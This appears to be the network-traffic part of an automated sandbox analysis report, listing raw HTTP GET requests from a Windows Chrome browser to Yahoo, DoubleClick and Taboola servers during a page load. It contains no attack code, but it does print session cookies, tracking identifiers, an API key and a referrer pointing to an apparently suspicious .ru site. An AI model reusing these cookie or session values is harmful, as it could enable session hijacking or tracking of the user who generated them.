Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-weather.WeatherPreviewRefresh.atomic.ltr.2a251a0ddb3d7c4ec13f4e35ee35dd2b.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-weather.common.desktop.a03361886464b469acd3a16cfbd022ed.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202409240101/pubads_impl.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-games.GamesMini.atomic.ltr.be03a375386175922f163856820e511b.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-games.games-mini.cdd5050ba6288df47182412e30e482a4.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-benji-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=Shopping&m_id=react-wafer-shopping&m_mode=json&partner=none HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-scrollview-2.23.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=WeatherPreviewRefresh&lang=en-US&m_id=react-wafer-weather&m_mode=json&region=US&rid=1pa4ckpjflnfm&site=fp&apptype=default&instance_id=weather&_evtSrc=deferLoad HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=GamesMini&lang=en-US&m_id=react-wafer-games&m_mode=json&region=US&rid=1pa4ckpjflnfm&site=fp&apptype=default&instance_id=games&_evtSrc=deferLoad HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B
Source: global traffic	HTTP traffic detected: GET /static/22/228515c2-9c18-491a-a142-95df43dd9630.css HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /static/impl/css/GTAmerica_2024-03-27.css HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /static/6b/6b91a1bc-8217-4d34-9774-28dc8fd0cd05.css HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /static/impl/css/yahoo_cr3_beta.css HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /yahoo-home/trc/3/json?llvl=2&tim=13%3A21%3A03.493&lti=trecs&pubit=n&t=1&data=%7B%22cmps%22%3A0%2C%22ga%22%3Afalse%2C%22cex%22%3A%22false%22%2C%22id%22%3A%2272148%22%2C%22sd%22%3A%22%22%2C%22ui%22%3A%22%22%2C%22ii%22%3A%22_homepage_%22%2C%22it%22%3A%22home%22%2C%22vi%22%3A1727716863493%2C%22cv%22%3A%2220240929-12-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Fwww.yahoo.com%2F%22%2C%22qs%22%3A%22%22%2C%22bv%22%3A%220%22%2C%22btv%22%3A%220%22%2C%22ul%22%3A%5B%22en-US%22%2C%22en%22%5D%2C%22ccpa_ps%22%3A%221YNN%22%2C%22cos%22%3A%223g%22%2C%22e%22%3A%22https%3A%2F%2Fhfj.rontishet.ru%2F%22%2C%22bu%22%3A%22https%3A%2F%2Fwww.yahoo.com%2F%22%2C%22vpi%22%3A%22%2F%22%2C%22bad%22%3A-1%2C%22sw%22%3A1280%2C%22sh%22%3A984%2C%22bw%22%3A1280%2C%22bh%22%3A907%2C%22dw%22%3A1263%2C%22dh%22%3A5318%2C%22sde%22%3A%221.000%22%2C%22lt%22%3A%22trecs%22%2C%22nsid%22%3A%22yahooweb-network%22%2C%22pblob%22%3A%22cobrand%3Anone%3Bcolo%3Abf1%3Bdevice%3Adesktop%3Blang%3Aen-US%3Blu%3A0%3Bpt%3Ahome%3Bregion%3AUS%3Bsite%3Afp%3Bver%3Amegastrm%7C%7C2023538075%7C%7C%7C%7C900%2Cseamless%7C%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-h2m%22%2C%22uip%22%3A%22taboola-stream-2%22%2C%22orig_uip%22%3A%22taboola-stream-2%22%2C%22s%22%3A1%2C%22uim%22%3A%22stream-d%3Apub%3Dyahooweb-network%3Aabp%3D0%22%2C%22cd%22%3A1016.92%2C%22mw%22%3A899%7D%2C%7B%22li%22%3A%22rbox-h2m%22%2C%22uip%22%3A%22taboola-stream-8%22%2C%22orig_uip%22%3A%22taboola-stream-8%22%2C%22s%22%3A1%2C%22uim%22%3A%22stream-d%3Apub%3Dyahooweb-network%3Aabp%3D0%22%2C%22cd%22%3A1847.92%2C%22mw%22%3A899%7D%5D%2C%22uad%22%3A%7B%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%7D%2C%22cacheKey%22%3A%22home%3D_homepage_%2Ctaboola-stream-2%3Dstream-d%3Apub%3Dyahooweb-network%3Aabp%3D0%2Ctaboola-stream-8%3Dstream-d%3Apub%3Dyahooweb-network%3Aabp%3D0%22%2C%22_cn%22%3A%22tions_1%22%2C%22lbt%22%3A1727702800734%2C%22wc%22%3Atrue%2C%22pa%22%3A%7B%22en%22%3Atrue%2C%22su%22%3Atrue%7D%7D HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: taboola_session_id=v2_180b7abcdacfe26a5edf97d1d328e529_27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380_1727716864_1727716864_CIi3jgYQm9teGIXczJ-kMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiOuMvY8NrPu1twAYABAA; t_pid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-native-da-1.0.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A
Source: global traffic	HTTP traffic detected: GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2kzt:19e0~2kzt:19ea~2kzt"; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-template-1.4.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-menu-1.3.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
